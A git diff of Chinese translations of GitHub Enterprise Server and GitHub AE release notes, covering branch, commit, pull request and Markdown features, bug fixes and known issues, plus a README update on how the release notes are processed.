+“[关于受保护分支](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#restrict-who-can-push-to-matching-branches)”和“[管理分支保护规则](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule#creating-a-branch-protection-rule)”。 + +| # https://github.com/github/releases/issues/2179 - - | - Users can create a branch directly from a repository's **Branches** page by clicking the **New branch**. For more information, see "[Creating and deleting branches within your repository](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository)." + - |用户可以通过单击“新建分支”直接从存储库的“分支”页面创建分支********。有关详细信息,请参阅“[在存储库中创建和删除分支](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository)。 +| # https://github.com/github/releases/issues/2220 - - | - Users can delete a branch that's associated with an open pull request. For more information, see "[Creating and deleting branches within your repository](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository)." + - |用户可以删除与打开的拉取请求关联的分支。有关详细信息,请参阅“[在存储库中创建和删除分支](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository)。 +| # https://github.com/github/releases/issues/2118 - - | - Repositories with multiple licenses display all of the licenses in the "About" sidebar on the {% octicon "code" aria-label="The code icon" %} **Code** tab. For more information, see "[Licensing a repository](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository)." + - |具有多个许可证的存储库会在 {% ocicon "code" aria-label="The code icon" %}“代码”选项卡上的“关于”边栏中显示所有许可证****。有关详细信息,请参阅“[授权存储库](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository)”。 +| # https://github.com/github/releases/issues/2233 - - When a user renames or moves a file to a new directory, if at least half of the file's contents are identical, the commit history indicates that the file was renamed, similar to `git log --follow`. For more information, see the [GitHub Blog](https://github.blog/changelog/2022-06-06-view-commit-history-across-file-renames-and-moves/). + - "当用户重命名文件或将文件移动到新目录时,如果文件的内容至少一半是相同的,则提交历史记录表明文件已重命名,类似于 `git log --follow`。有关详细信息,请参阅 [GitHub 博客](https://github.blog/changelog/2022-06-06-view-commit-history-across-file-renames-and-moves/)。" # https://github.com/github/releases/issues/2093 - - | - Users can require a successful deployment of a branch before anyone can merge the pull request associated with the branch. For more information, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-deployments-to-succeed-before-merging)" and "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)." + - |在任何人可以合并与分支关联的拉取请求之前,用户可能需要成功部署分支。有关详细信息,请参阅“[关于受保护的分支](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-deployments-to-succeed-before-merging)”和“[管理分支保护规则](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)”。 +| # https://github.com/github/releases/issues/2073 - - | - Enterprise owners can prevent organization owners from inviting collaborators to repositories on the instance. For more information, see "[Enforcing a policy for inviting collaborators to repositories](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-collaborators-to-repositories)." + - |企业所有者可以阻止组织所有者邀请协作者访问实例上的存储库。有关详细信息,请参阅“[强制实施用于邀请协作者访问存储库的策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-collaborators-to-repositories)”。 +| # https://github.com/github/releases/issues/2173 - - | - Users can grant exceptions to GitHub Apps for any branch protection rule that supports exceptions. For more information, see "[About apps](/developers/apps/getting-started-with-apps/about-apps)" and "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)." + - |用户可以针对任何支持例外的分支保护规则授予 GitHub 应用例外。有关详细信息,请参阅“[关于应用](/developers/apps/getting-started-with-apps/about-apps)”和“[管理分支保护规则](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)”。 - - heading: Commits +| + - heading: 提交 notes: # https://github.com/github/releases/issues/2306 - - | - For public GPG signing keys that are expired or revoked, GitHub Enterprise Server verifies Git commit signatures and show commits as verified if the user made the commit while the key was still valid. Users can also upload expired or revoked GPG keys. For more information, see "[About commit signature verification](/authentication/managing-commit-signature-verification/about-commit-signature-verification)." + - |对于过期或撤销的公共 GPG 签名密钥,GitHub Enterprise Server 会验证 Git 提交签名,如果用户在密钥仍然有效时进行了提交,则会将提交显示为已验证。用户还可以上传过期或撤销的 GPG 密钥。有关详细信息,请参阅“[关于提交签名验证](/authentication/managing-commit-signature-verification/about-commit-signature-verification)”。 +| # https://github.com/github/releases/issues/1977 - - | - To affirm that a commit complies with the rules and licensing governing a repository, organization owners and repository administrators can now require developers to sign off on commits made through the web interface. For more information, see "[Managing the commit signoff policy for your organization](/organizations/managing-organization-settings/managing-the-commit-signoff-policy-for-your-organization)" and "[Managing the commit signoff policy for your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository)." + - |为了确认提交符合管理存储库的规则和许可,组织所有者和存储库管理员现在可以要求开发人员通过 Web 界面提交时进行签核。有关详细信息,请参阅“[管理组织的提交签核策略](/organizations/managing-organization-settings/managing-the-commit-signoff-policy-for-your-organization)”和“[管理存储库的提交签核策略](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository)”。 - - heading: Pull requests +| + - heading: 拉取请求 notes: # https://github.com/github/releases/issues/2261 - - | - Using the file tree located in the **Files changed** tab of a pull request, users can navigate modified files, understand the size and scope of changes, and focus reviews. The file tree appears if a pull request modifies at least two files, and the browser window is sufficiently wide. For more information, see "[Reviewing proposed changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)" and "[Filtering files in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)." + - |使用位于拉取请求的“已更改的文件”选项卡中的文件树,用户可以导航已修改的文件,了解更改的大小和范围,并集中审查****。如果拉取请求修改了至少两个文件,并且浏览器窗口足够宽,则会出现文件树。有关详细信息,请参阅“[审查拉取请求中的建议更改](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)”和“[筛选拉取请求中的文件](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)”。 +| # https://github.com/github/releases/issues/2167 - - | - Users can default to using pull requests titles as the commit message for all squash merges. For more information, see "[Configuring commit squashing for pull requests](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests)." + - |用户可以默认使用拉取请求标题作为所有 Squash 合并的提交消息。有关详细信息,请参阅“[为拉取请求配置提交压缩](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests)”。 - - heading: Releases +| + - heading: 发行版本 notes: # https://github.com/github/releases/issues/2281 - - | - When viewing the details for a particular release, users can see the creation date for each release asset. For more information, see "[Viewing your repository's releases and tags](/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags)." + - |查看特定版本的详细信息时,用户可以看到每个版本资产的创建日期。有关详细信息,请参阅“[查看存储库的版本和标记](/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags)”。 +| # https://github.com/github/releases/issues/2279 - - While creating a release with automatically generated release notes, users can see the tag identified as the previous release, then choose to select a different tag to specify as the previous release. For more information, see "[Automatically generated release notes](/repositories/releasing-projects-on-github/automatically-generated-release-notes)." + - "在使用自动生成的发行说明创建版本时,用户可以看到标识为先前版本的标记,然后选择不同的标记以指定为先前版本。有关详细信息,请参阅“[自动生成的发行说明](/repositories/releasing-projects-on-github/automatically-generated-release-notes)”。" - heading: Markdown notes: # https://github.com/github/releases/issues/2260 - - | - Editing Markdown in the web interface has been improved. - - - After a user selects text and pastes a URL, the selected text will become a Markdown link to the pasted URL. - - When a user pastes spreadsheet cells or HTML tables, the resulting text will render as a table. - - When a user copies text containing links, the pasted text will include the link as a Markdown link. + - |在 Web 界面中编辑 Markdown 已得到改进。 - For more information, see "[Basic writing and formatting syntax](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#links)." + +- 用户选择文本并粘贴 URL 后,所选文本将成为粘贴 URL 的 Markdown 链接。 + +- 当用户粘贴电子表格单元格或 HTML 表格时,生成的文本将呈现为表格。 + +- 当用户复制包含链接的文本时,粘贴的文本将包含链接作为 Markdown 链接。 + + + +有关详细信息,请参阅“[基本写入和格式化语法](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#links)”。 + +| # https://github.com/github/releases/issues/2258 - - | - When editing a Markdown file in the web interface, clicking the **Preview** tab will automatically scroll to the place in the preview that you were editing. The scroll location is based on the position of your cursor before you clicked the **Preview** tab. + - |在 Web 界面中编辑 Markdown 文件时,单击“预览”选项卡将自动滚动到你正在编辑的预览中的位置****。滚动位置基于你单击“预览”选项卡之前光标的位置****。 +| changes: - - Interactive elements in the web interface such as links and buttons show a visible outline when focused with a keyboard, to help users find the current position on a page. In addition, when focused, form fields have a higher contrast outline. - - If a user refreshes the page while creating a new issue or pull request, the assignees, reviewers, labels and projects will all be preserved. + - Web 界面中的交互元素(例如链接和按钮)在使用键盘聚焦时会显示可见的轮廓,以帮助用户找到页面上的当前位置。此外,当聚焦时,表单域具有更高对比度的轮廓。 + - 如果用户在创建新问题或拉取请求时刷新页面,则代理人、审阅者、标签和项目都将被保留。 known_issues: - - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. - - Custom firewall rules are removed during the upgrade process. - - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. - - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. - - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results. - - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. - - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. - - Actions services need to be restarted after restoring an instance from a backup taken on a different host. - - In a repository's settings, enabling the option to allow users with read access to create discussions does not enable this functionality. - - In some cases, users cannot convert existing issues to discussions. - - Custom patterns for secret scanning have `.*` as an end delimiter, specifically in the "After secret" field. This delimiter causes inconsistencies in scans for secrets across repositories, and you may notice gaps in a repository's history where no scans completed. Incremental scans may also be impacted. To prevent issues with scans, modify the end of the pattern to remove the `.*` delimiter. - - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' \ No newline at end of file + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 Blob 的永久链接,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - 从不同主机上的备份恢复实例后,需要重新启动操作服务。 + - 在存储库的设置中,启用允许具有读取访问权限的用户创建讨论的选项不会启用此功能。 + - 在某些情况下,用户无法将现有问题转换为讨论。 + - 机密扫描的自定义模式将 `.*` 作为结束分隔符,特别是在“机密之后”字段中。此分隔符会导致跨存储库的机密扫描不一致,并且你可能会注意到存储库历史记录中没有完成扫描的间隙。增量扫描也可能受到影响。为防止出现扫描问题,请修改模式的结尾以删除 `.*` 分隔符。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-6/1.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-6/1.yml index 6e638df146..8ec4162b87 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-6/1.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-6/1.yml @@ -1,38 +1,33 @@ date: '2022-08-30' sections: bugs: - - After unlocking a repository for temporary access, a site administrator was unable to manage settings for security products in the repository. - - Duplicate administrative SSH keys could appear in both the Management Console and the `/home/admin/.ssh/authorized_keys` file. - - The site admin page for individual users at http(s)://HOSTNAME/stafftools/users/USERNAME/admin contained functionality not intended for GitHub Enterprise Server. - - In some cases, running `ghe-cluster-config-apply` could replicate an empty configuration to existing nodes in a cluster. - - In some cases, configuration runs started with `ghe-config-apply` did not complete, or returned a `Container count mismatch` error. - - After updating a self-signed TLS certificate on a GitHub Enterprise Server instance, UI elements on some pages in the web interface did not appear. - - In some cases, background tasks could stall due to a library that was used concurrently despite not being thread-safe. - - The site admin bar at the top of the web interface contained a broken link to the SHA for the currently running version of the application. - - Organization owners were unable to set the level of access required to create discussions. - - Discussions users were incorrectly directed to the community guidelines for GitHub.com. - - In some cases, users were incorrectly instructed to verify their email before creating a discussion. - - Alerts from secret scanning for GitHub Advanced Security customers were missing in the web UI and REST API if a site administrator did not upgrade directly to GitHub Enterprise Server 3.4. The alerts are now visible. + - 解锁存储库以进行临时访问后,站点管理员无法管理存储库中安全产品的设置。 + - 管理控制台和 `/home/admin/.ssh/authorized_keys` 文件中可能会出现重复的管理 SSH 密钥。 + - "http(s)://HOSTNAME/stafftools/users/USERNAME/admin 的个人用户的站点管理员页面包含不适用于 GitHub Enterprise Server 的功能。" + - 在某些情况下,运行 `ghe-cluster-config-apply` 可以将空配置复制到群集中的现有节点。 + - 在某些情况下,以 `ghe-config-apply` 开始的配置运行未完成,或返回了 `Container count mismatch` 错误。 + - 在 GitHub Enterprise Server 实例上更新自签名 TLS 证书后,Web 界面中某些页面上的 UI 元素没有显示。 + - 在某些情况下,尽管不是线程安全的,但由于同时使用的库,可能会导致后台任务停止。 + - Web 界面顶部的站点管理员栏包含指向当前正在运行的应用程序版本的 SHA 的断开链接。 + - 组织所有者无法设置创建讨论所需的访问级别。 + - 讨论用户被错误地引导至 GitHub.com 的社区指南。 + - 在某些情况下,系统错误地指示用户在创建讨论之前验证其电子邮件。 + - 如果站点管理员没有直接升级到 GitHub Enterprise Server 3.4,则 Web UI 和 REST API 中缺少来自 GitHub Advanced Security 客户的机密扫描的警报。警报现在可见。 changes: - - Generation of support bundles is faster as a result of parallelized log sanitization. For more information about support bundles, see "[Providing data to GitHub Support](/support/contacting-github-support/providing-data-to-github-support)." - - APIs that contain the `organization` or `org` route now accept either the organization's slug or ID. Previously, the APIs only accepted slugs, which caused `Link` headers for GitHub Advanced Security endpoints to be inaccessible. For more information, see "[Organizations](https://docs.github.com/rest/orgs/orgs)" in the REST API documentation. - - The enterprise audit log now includes more user-generated events, such as `project.create`. The REST API also returns additional user-generated events, such as `repo.create`. For more information, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)" and "[Using the audit log API for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise#querying-the-audit-log-rest-api)." - - In some cases, cache replicas could reject some Git operations on recently updated repositories. For more information about repository caching, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)." - - You can now configure the global announcement banner to be dismissable using the REST API. For more information, see "[Customizing user messages for your enterprise](/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner)." + - "由于并行日志清理,支持包的生成速度更快。有关支持包的详细信息,请参阅“[将数据提供给 GitHub 支持](/support/contacting-github-support/providing-data-to-github-support)”。" + - "包含 `organization` 或 `org` 路由的 API 现在接受组织的 slug 或 ID。以前,API 只接受 slug,这导致 GitHub Advanced Security 终结点的 `Link` 标头无法访问。有关详细信息,请参阅 REST API 文档中的“[组织](https://docs.github.com/rest/orgs/orgs)”。" + - "企业审核日志现在包含更多用户生成的事件,例如 `project.create`。REST API 还返回其他用户生成的事件,例如 `repo.create`。有关详细信息,请参阅“[访问企业的审核日志](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for -your-enterprise)”和“[使用企业的审核日志 API](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit- log-api-for-your-enterprise#querying-the-audit-log-rest-api)”。" + - "在某些情况下,缓存副本可能会拒绝对最近更新的存储库的某些 Git 操作。有关存储库缓存的详细信息,请参阅“[关于存储库缓存](/admin/enterprise-management/caching-repositories/about-repository-caching)”。" + - "你现在可以使用 REST API 将全局公告横幅配置为可关闭。有关详细信息,请参阅“[为企业自定义用户消息](/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner)”。" known_issues: - - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. - - Custom firewall rules are removed during the upgrade process. - - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. - - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. - - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results. - - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. - - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. - - Actions services need to be restarted after restoring an instance from a backup taken on a different host. - - In a repository's settings, enabling the option to allow users with read access to create discussions does not enable this functionality. - - In some cases, users cannot convert existing issues to discussions. - - Custom patterns for secret scanning have `.*` as an end delimiter, specifically in the "After secret" field. This delimiter causes inconsistencies in scans for secrets across repositories, and you may notice gaps in a repository's history where no scans completed. Incremental scans may also be impacted. To prevent issues with scans, modify the end of the pattern to remove the `.*` delimiter. - - | - After upgrading a replica node to GitHub Enterprise Server 3.6.0 or later and restarting replication, in some situations Git replication may stop progressing and continue to show `WARNING: git replication is behind the primary …`. If you encounter this known issue contact GitHub Support. For more information, see "[Creating a support ticket](https://docs.github.com/en/enterprise-server@3.6/support/contacting-github-support/creating-a-support-ticket)." [Updated: 2022-10-03] - - | - GitHub Pages builds may time out on instances in AWS that are configured for high availability. [Updated: 2022-11-28] - - '{% data reusables.release-notes.babeld-max-threads-performance-issue %}' \ No newline at end of file + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中 Blob 的永久链接,且 Blob 的文件路径长度超过 255 个字符,则无法关闭问题。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - 从不同主机上的备份恢复实例后,需要重新启动操作服务。 + - 在存储库的设置中,启用允许具有读取访问权限的用户创建讨论的选项不会启用此功能。 + - 在某些情况下,用户无法将现有问题转换为讨论。 + - 机密扫描的自定义模式将 `.*` 作为结束分隔符,特别是在“机密之后”字段中。此分隔符会导致跨存储库的机密扫描不一致,并且你可能会注意到存储库历史记录中没有完成扫描的间隙。增量扫描也可能受到影响。为防止出现扫描问题,请修改模式的结尾以删除 `.*` 分隔符。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/README.md b/translations/zh-CN/data/release-notes/enterprise-server/README.md index 9c71ddaabb..04aeee2956 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/README.md +++ b/translations/zh-CN/data/release-notes/enterprise-server/README.md @@ -1,15 +1,24 @@ --- -ms.openlocfilehash: a43b7fac5396fcbdb1b7d9ec241af9879de7b2b8 -ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.openlocfilehash: bf7a1cdb9c8b1300ef8ba8ab2dd427a9b5d28128 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 09/10/2022 -ms.locfileid: "145098647" +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193224" --- # GitHub Enterprise Server 发行说明 已呈现在此处: https://docs.github.com/en/enterprise-server@latest/admin/release-notes +## 向已弃用的 GitHub Enterprise Server 版本添加发行说明 + +根据[此问题模板](/.github/actions-scripts/enterprise-server-issue-templates/deprecation-issue.md)弃用 GitHub Enterprise Server 版本期间,Docs 工程会从 `github/docs-internal` 中删除包含版本发行说明的 YAML 文件。 + +如果利益干系人请求更新已弃用的发行说明,可通过完成以下步骤来更新说明。 + +1. 查看长时间运行的分支 enterprise-VERSION-release 并创建 PR,以更新该分支上已弃用版本的发行说明。 +2. 联系 #docs-engineering,请求重新抓取和更新 Azure 中存储的内容。 请参阅[弃用清单](/.github/actions-scripts/enterprise-server-issue-templates/deprecation-issue.md)中有关重新抓取内容的部分。 + ## 工作原理 ### 占位符内容文件 @@ -30,7 +39,7 @@ ms.locfileid: "145098647" ### 中间件处理 -YAML 数据由 `middleware/contextualizers/release-notes.js` 处理和排序,并添加到 `context` 对象。 +YAML 数据由 `middleware/contextualizers/ghes-release-notes.js` 处理和排序,并添加到 `context` 对象。 ### 布局 @@ -40,6 +49,6 @@ YAML 数据由 `middleware/contextualizers/release-notes.js` 处理和排序, ### 架构 -验证 YAML 数据的架构存在于 `tests/helpers/schemas/ghes-release-notes-schema.js` 中。 查看架构文件来了解必需和可选的属性。 +验证 YAML 数据的架构存在于 `tests/helpers/schemas/release-notes-schema.js` 中。 查看架构文件来了解必需和可选的属性。 架构在 `tests/linting/lint-files.js` 中执行测试。 如果数据未通过验证,测试将失败。 diff --git a/translations/zh-CN/data/release-notes/github-ae/2021-03/2021-03-03.yml b/translations/zh-CN/data/release-notes/github-ae/2021-03/2021-03-03.yml new file mode 100644 index 0000000000..51299318d6 --- /dev/null +++ b/translations/zh-CN/data/release-notes/github-ae/2021-03/2021-03-03.yml @@ -0,0 +1,93 @@ +date: '2021-03-03' +friendlyDate: '2021 年 3 月 3 日' +title: '2021 年 3 月 3 日当周' +currentWeek: false +sections: + features: + - heading: 'GitHub Actions Beta 版本' + notes: + - |[{% data variables.product.prodname_actions %}](https://github.com/features/actions) 是一种用于 CI/CD 和工作流程自动化的强大而灵活的解决方案。有关详细信息,请参阅“[{% data variables.product.prodname_actions %} 简介](/actions/learn-github-actions/introduction-to-github-actions)”。 + + + +请注意,在此升级期间启用 {% data variables.product.prodname_actions %} 时,名为“GitHub Actions”的两个组织(@actions**** 和 @github****)将出现在 {% data variables.product.product_location %} 中。这些组织是 {% data variables.product.prodname_actions %} 所必需的。名为 @ghost**** 和 @actions**** 的用户在审核日志中作为创建这些组织的参与者出现。 + +| + - heading: 'GitHub Packages Beta 版本' + notes: + - |[{% data variables.product.prodname_registry %}](https://github.com/features/packages) 是一种与 {% data variables.product.prodname_actions %}、API 和 Webhook 原生集成的包托管服务。创建一个包含你的代码、持续集成和部署解决方案的[端到端 DevOps 工作流程](/github-ae@latest/packages/quickstart)。在此 Beta 版本期间,{% data variables.product.prodname_registry %} 免费提供给 {% data variables.product.product_name %} 客户。 + +| + - heading: 'GitHub Advanced Security Beta 版本' + notes: + - |{% data variables.product.prodname_GH_advanced_security %} 以 Beta 版本提供,其中包括代码扫描和机密扫描。在此 Beta 版本期间,{% data variables.product.prodname_GH_advanced_security %} 功能免费提供给 {% data variables.product.product_name %} 客户。存储库和组织管理员可以在“设置”下的“安全性和分析”选项卡中选择使用 {% data variables.product.prodname_GH_advanced_security %}。 + + + +详细了解 {% data variables.product.prodname_ghe_managed %} 上的 {% data variables.product.prodname_GH_advanced_security %} [代码扫描](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)和[机密扫描](/github/administering-a-repository/about-secret-scanning)。 + +| + - heading: 管理来自标识提供者 (IdP) 的团队 + notes: + - |使用 SCIM(跨域身份管理系统)的客户现可与 {% data variables.product.company_short %} 团队同步 Azure Active Directory 中的安全组。 团队链接到安全组后,如果从其指定的安全组添加或移除用户,系统将在 {% data variables.product.product_name %} 中自动更新成员身份。 + +| + - heading: IP 允许列表 Beta 版本 + notes: + - |[{% data variables.product.company_short %} IP 允许列表](/admin/configuration/restricting-network-traffic-to-your-enterprise) 可用于从以 CIDR 表示法定义的管理员指定 IP 范围筛选流量。通过“安全”>“设置”在企业或组织帐户级定义允许列表。所有尝试在企业帐户和组织内访问资源的流量均由 IP 允许列表进行筛选。除了能够请求网络安全组更改以将流量筛选到整个 GHAE 租户外,还提供此功能。 + +| + changes: + - heading: 开发人员更改 + notes: + - |[组织所有者现可禁止](/github/setting-up-and-managing-organizations-and-teams/managing-the-publication-of-github-pages-sites-for-your-organization)从组织的存储库发布 {% data variables.product.prodname_pages %} 站点。这不会取消发布现有站点。 + +| + - "使用 {% data variables.product.prodname_pages %} 的存储库现可[从任何分支构建和部署](/github/working-with-github-pages/about-github-pages#publishing-sources-for-github-pages-sites)。" + - 在编写问题或拉取请求时,按 `return` 或 `enter` 后,项目符号、数字和任务的列表语法现在会自动补全。 + - 现可从存储库页面删除存储库中的目录。导航到目录时,“添加文件”按钮旁边的新烤肉串按钮会提供删除目录的选项。 + - "现可通过在“#”之后搜索多个单词,更便捷地[引用问题或拉取请求](/github/writing-on-github/basic-writing-and-formatting-syntax#referencing-issues-and-pull-requests)。" + + - heading: 管理更改 + notes: + - 企业所有者现可发布强制性消息。该消息显示给所有用户,他们必须予以确认。这可用于显示重要信息、服务条款或政策。 + - "{% data variables.product.prodname_github_app%} 单个文件路径权限现可[支持多达 10 个文件](/developers/apps/creating-a-github-app-using-url-parameters)。" + - "在配置 {% data variables.product.prodname_github_app%} 时,授权回叫 URL 是必填字段。现将允许集成器指定多个回叫 URL。如果未列出请求中的回叫 URL,{% data variables.product.product_name %} 会拒绝授权。" + - "[新的 API 终结点](/rest/reference/apps#create-a-scoped-access-token) 支持将某个用户到服务器令牌换成特定存储库范围内的用户到服务器令牌。" + - "以下事件现在记录在审核日志中:[将团队成员提升为团队维护者,以及将团队维护者降级为团队成员](/admin/user-management/audited-actions#teams)。" + - "现在支持 [OAuth 设备授权流程](/developers/apps/authorizing-oauth-apps#device-flow)。这可让任何 CLI 客户端或开发者工具使用辅助系统进行身份验证。" + - 如果启用了 SCIM 预配,用户将不能再删除他们的帐户。 + + - heading: 默认分支重命名 + notes: + - |企业和组织所有者现可为新存储库设置默认分支名称。企业所有者还可在所有组织中强制使用所选的默认分支名称,或者允许各个组织选择他们自己的分支名称。 + + + +现有存储库不受这些设置的影响,并且它们的默认分支名称不会更改。 + + + +此更改是 {% data variables.product.company_short %} 为支持项目和希望重命名其默认分支的维护者所做的众多更改之一。若要了解更多信息,请参阅 [github/renaming](https://github.com/github/renaming)。 + +| + bugs: + - heading: Bug 修复 + notes: + - 用户不能再在其个人资料上设置备份电子邮件地址。他们的电子邮件地址仅通过 IdP 设置。 + - 在通过 IdP 配置身份验证后,不能再启用双因素身份验证。 + - |{% data variables.product.product_name %} 现可连接到 Azure Boards。 + +| + - API 缺少版本标头,现已设置为“GitHub AE”。 + - 文档链接已修复。 + - 企业设置内的审核日志转发配置失败。 + - 导航到 gists 可能导致 500 错误。 + - 支持电子邮件或 URL 无法保存。现在它会在几分钟后保存。 + - 组织级拉取请求模板未应用到组织中的所有拉取请求。 + + known_issues: + - heading: 已知问题 + notes: + - 审核日志中未显示地理位置数据。否则,可从与每个事件关联的 IP 地址中辨别位置信息。 + - "如果存储库没有任何软件包,存储库页面中的 {% data variables.product.prodname_registry %} 链接将显示错误的搜索页面。" diff --git a/translations/zh-CN/data/release-notes/github-ae/2021-06/2021-12-06.yml b/translations/zh-CN/data/release-notes/github-ae/2021-06/2021-12-06.yml new file mode 100644 index 0000000000..9f07cda827 --- /dev/null +++ b/translations/zh-CN/data/release-notes/github-ae/2021-06/2021-12-06.yml @@ -0,0 +1,187 @@ +date: '2021-12-06' +friendlyDate: '2021 年 12 月 6 日' +title: '2021 年 12 月 6 日' +currentWeek: false +sections: + features: + - heading: '管理' + notes: + - |拥有 {% data variables.product.product_name %} 的有效或试用订阅的客户现在可以从 [Azure 门户](https://portal.azure.com/signin/index/)预配 {% data variables.product.product_name %} 资源。Azure 订阅必须带有功能标记才能在门户中访问 {% data variables.product.product_name %} 